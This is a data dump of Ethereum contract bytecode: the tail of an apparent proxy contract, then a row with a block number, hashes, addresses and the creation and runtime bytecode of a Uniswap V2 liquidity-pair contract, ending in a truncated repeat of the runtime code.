b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611ac483611bcf565b600082511180611ad15750805b156111af57610e848383611c1c565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115611b175750600090506003611bc6565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015611b6b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611bbf57600060019250925050611bc6565b9150600090505b94509492505050565b611bd8816119b1565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061084783836040518060600160405280602781526020016125876027913960606000808573ffffffffffffffffffffffffffffffffffffffff1685604051611c6691906124ea565b600060405180830381855af49150503d8060008114611ca1576040519150601f19603f3d011682016040523d82523d6000602084013e611ca6565b606091505b5091509150611cb786838387611cc1565b9695505050505050565b60608315611d57578251600003611d505773ffffffffffffffffffffffffffffffffffffffff85163b611d50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106df565b5081611d61565b611d618383611d69565b949350505050565b815115611d795781518083602001fd5b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df9190612535565b73ffffffffffffffffffffffffffffffffffffffff8116811461082557600080fd5b60008083601f840112611de157600080fd5b50813567ffffffffffffffff811115611df957600080fd5b6020830191508360208285010111156117f757600080fd5b60008060008060008060008060c0898b031215611e2d57600080fd5b8835611e3881611dad565b97506020890135611e4881611dad565b96506040890135611e5881611dad565b955060608901359450608089013567ffffffffffffffff80821115611e7c57600080fd5b611e888c838d01611dcf565b909650945060a08b0135915080821115611ea157600080fd5b50611eae8b828c01611dcf565b999c989b5096995094979396929594505050565b600060208284031215611ed457600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461084757600080fd5b600080600080600060808688031215611f1c57600080fd5b8535611f2781611dad565b94506020860135611f3781611dad565b935060408601359250606086013567ffffffffffffffff811115611f5a57600080fd5b611f6688828901611dcf565b969995985093965092949392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600082601f830112611fb757600080fd5b813567ffffffffffffffff80821115611fd257611fd2611f77565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561201857612018611f77565b8160405283815286602085880101111561203157600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561206457600080fd5b82359150602083013567ffffffffffffffff81111561208257600080fd5b61208e85828601611fa6565b9150509250929050565b6000602082840312156120aa57600080fd5b813561084781611dad565b6000806000606084860312156120ca57600080fd5b833567ffffffffffffffff8111156120e157600080fd5b840161016081870312156120f457600080fd5b95602085013595506040909401359392505050565b60008083601f84011261211b57600080fd5b50813567ffffffffffffffff81111561213357600080fd5b6020830191508360208260051b85010111156117f757600080fd5b6000806000806000806060878903121561216757600080fd5b863567ffffffffffffffff8082111561217f57600080fd5b61218b8a838b01612109565b909850965060208901359150808211156121a457600080fd5b6121b08a838b01612109565b909650945060408901359150808211156121c957600080fd5b506121d689828a01612109565b979a9699509497509295939492505050565b600080604083850312156121fb57600080fd5b823561220681611dad565b946020939093013593505050565b6000806040838503121561222757600080fd5b823561223281611dad565b9150602083013567ffffffffffffffff81111561208257600080fd5b6000806000806060858703121561226457600080fd5b843561226f81611dad565b935060208501359250604085013567ffffffffffffffff81111561229257600080fd5b61229e87828801611dcf565b95989497509550505050565b60008060008060008060008060a0898b0312156122c657600080fd5b88356122d181611dad565b975060208901356122e181611dad565b9650604089013567ffffffffffffffff808211156122fe57600080fd5b61230a8c838d01612109565b909850965060608b013591508082111561232357600080fd5b61232f8c838d01612109565b909650945060808b0135915080821115611ea157600080fd5b60008060008060008060a0878903121561236157600080fd5b863561236c81611dad565b9550602087013561237c81611dad565b94506040870135935060608701359250608087013567ffffffffffffffff8111156123a657600080fd5b6121d689828a01611dcf565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe184360301811261241657600080fd5b83018035915067ffffffffffffffff82111561243157600080fd5b6020019150368190038213156117f757600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361249e577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b6000602082840312156124b757600080fd5b5051919050565b60005b838110156124d95781810151838201526020016124c1565b83811115610e845750506000910152565b600082516124fc8184602087016124be565b9190910192915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60208152600082518060208401526125548160408501602087016124be565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212205b825edb6867b32e7df82a666780a16c09f354e2dcea362ae0495783882e0be164736f6c634300080f0033 | |
1 | 20,290,645 | cfe1d24778059b6961c8689abb888df6307a38684272f06fc6b44ae290bdf306 | d652d345ce923ab8360c4d6e89d04991c5f5f2e81e93f159afec37cfe6d2c7c4 | c34d5f70c2c341e17da7f986cd40d3e333988ddc | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | a8048a2fe510727a8c6c6c490eec91518f8ef632 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429 | 608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290